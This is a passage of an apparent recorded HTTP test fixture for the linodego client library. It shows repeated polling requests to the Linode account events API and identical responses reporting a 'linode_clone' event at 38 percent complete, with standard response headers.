"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.355644, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.42492, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.486668, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.559451, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.629635, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.704354, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.773092, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.83976, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.239446, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.308631, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.375633, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.441907, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.508158, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.577538, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.65284, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.725098, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.791428, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 